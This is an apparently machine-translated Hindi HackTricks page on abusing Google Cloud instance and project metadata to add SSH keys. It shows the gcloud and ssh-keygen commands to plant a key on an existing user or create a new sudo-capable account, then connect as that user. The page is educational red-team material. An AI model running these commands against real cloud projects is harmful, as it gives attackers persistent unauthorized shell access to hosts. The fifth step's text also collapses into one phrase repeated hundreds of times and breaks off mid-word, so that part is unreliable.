GCP - Add Custom SSH Metadata

GCP - अपनी विशेष SSH मेटाडेटा जोड़ें

htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

मेटाडेटा संशोधन

एक इंस्टेंस पर मेटाडेटा संशोधन किया जा सकता है जो यदि किसी हमलावर को आवश्यक अनुमतियाँ प्राप्त हो जाएं तो महत्वपूर्ण सुरक्षा जोखिमों का कारण बन सकता है।

कस्टम मेटाडेटा में SSH कुंजियों का समावेश

GCP पर, Linux सिस्टम अक्सर Python Linux Guest Environment for Google Compute Engine से स्क्रिप्ट चलाते हैं। इसका एक महत्वपूर्ण घटक है खाते डेमन, जो इंस्टेंस मेटाडेटा एंडप्वाइंट पर अधिकृत SSH सार्वजनिक कुंजियों के अपडेट के लिए नियमित रूप से जांच करने के लिए डिज़ाइन किया गया है

इसलिए, यदि किसी हमलावर को कस्टम मेटाडेटा में संशोधन करने की अनुमति हो, तो वह डेमन एक नई सार्वजनिक कुंजी खोजेगा, जो स्थानीय सिस्टम में एकीकृत की जाएगी। कुंजी को मौजूदा उपयोगकर्ता के ~/.ssh/authorized_keys फ़ाइल में जोड़ दिया जाएगा या संभावित रूप से sudo अधिकारों वाले नए उपयोगकर्ता को बनाया जा सकता है, कुंजी के प्रारूप पर निर्भर करता है। और हमलावर होस्ट को कंप्रमाइज कर सकेगा।

मौजूदा विशेषाधिकारी उपयोगकर्ता में SSH कुंजी जोड़ें

  1. इंस्टेंस पर मौजूदा SSH कुंजियों की जांच करें:

  • इंस्टेंस और उसकी मेटाडेटा का विवरण विवरणित करने के लिए आदेश निष्पादित करें ताकि मौजूदा SSH कुंजियों को ढूंढा जा सके। उत्पादन में संबंधित खंड metadata के अंतर्गत होगा, विशेष रूप से ssh-keys कुंजी के तहत।

gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • SSH कुंजियों के प्रारूप पर ध्यान दें: उपयोगकर्ता कुंजी के आगे कुंजी है, जो एक अक्षमता द्वारा अलग किया गया है।

  1. SSH कुंजी मेटाडेटा के लिए एक पाठ फ़ाइल तैयार करें:

  • उपयोगकर्ताओं के विवरण और उनकी संबंधित SSH कुंजियों को meta.txt नामक एक पाठ फ़ाइल में सहेजें। यह मौजूदा कुंजियों को सुरक्षित रखने के लिए आवश्यक है जबकि नए कुंजियाँ जोड़ी जाती हैं।

  1. लक्षित उपयोगकर्ता के लिए एक नई SSH कुंजी उत्पन्न करें (एलिस इस उदाहरण में):

  • नई SSH कुंजी उत्पन्न करने के लिए ssh-keygen आदेश का उपयोग करें, सुनिश्चित करें कि टिप्पणी क्षेत्र (-C) लक्षित उपयोगकर्ता से मेल खाता है।

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • नई सार्वजनिक कुंजी को meta.txt में जोड़ें, इंस्टेंस की मेटाडेटा में पाए जाने वाले प्रारूप की तरह।

  1. इंस्टेंस की SSH कुंजी मेटाडेटा को अपडेट करें:

  • gcloud compute instances add-metadata आदेश का उपयोग करके इंस्टेंस को अपडेट किए गए SSH कुंजी मेटाडेटा लागू करें।

gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. नई SSH कुंजी का उपयोग करके इंस्टेंस तक पहुंचें:

  • नई कुंजी का उपयोग करके इंस्टेंस से SSH के साथ कनेक्ट करें, लक्षित उपयोगकर्ता के संदर्भ में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल में शैल म

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

परियोजना स्तर पर SSH कुंजियाँ

परियोजना स्तर पर SSH कुंजियाँ लागू करना द्वारा एक बादल परिवेश में कई वर्चुअल मशीन (VMs) तक SSH पहुंच को विस्तारित किया जा सकता है। यह दृष्टिकोण एक परियोजना के स्तर पर किसी भी उदाहरण में SSH पहुंच की अनुमति देता है जो परियोजना-स्तर की SSH कुंजियों को स्पष्ट रूप से नहीं अवरुद्धित किया है। यहाँ एक संक्षेपित मार्गदर्शिका है:

  1. परियोजना स्तर पर SSH कुंजियाँ लागू करें:

  • gcloud compute project-info add-metadata कमांड का उपयोग करें ताकि meta.txt से SSH कुंजियाँ परियोजना की मेटाडेटा में जोड़ सकें। यह कार्रवाई सुनिश्चित करती है कि SSH कुंजियाँ परियोजना में सभी VMs में मान्य हैं, जब तक कोई VM "परियोजना-स्तर की SSH कुंजियों को अवरुद्ध करें" विकल्प सक्षम नहीं करता है।

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. परियोजना-स्तर की कुंजियों का उपयोग करके उदाहरणों में SSH करें:

  • परियोजना-स्तर की SSH कुंजियाँ लागू होने पर, आप परियोजना के भीतर किसी भी उदाहरण में SSH कर सकते हैं। परियोजना-स्तर कुंजियों को अवरुद्धित न करने वाले उदाहरण स्वीकार करेंगे, जिससे पहुंच मिलेगी।

  • एक उदाहरण में SSH करने का सीधा तरीका gcloud compute ssh [INSTANCE] कमांड का उपयोग करना है। यह कमांड आपके वर्तमान उपयोगकर्ता नाम और परियोजना स्तर पर सेट की गई SSH कुंजियों का उपयोग करता है पहुंच की कोशिश करने के लिए।

संदर्भ

Last updated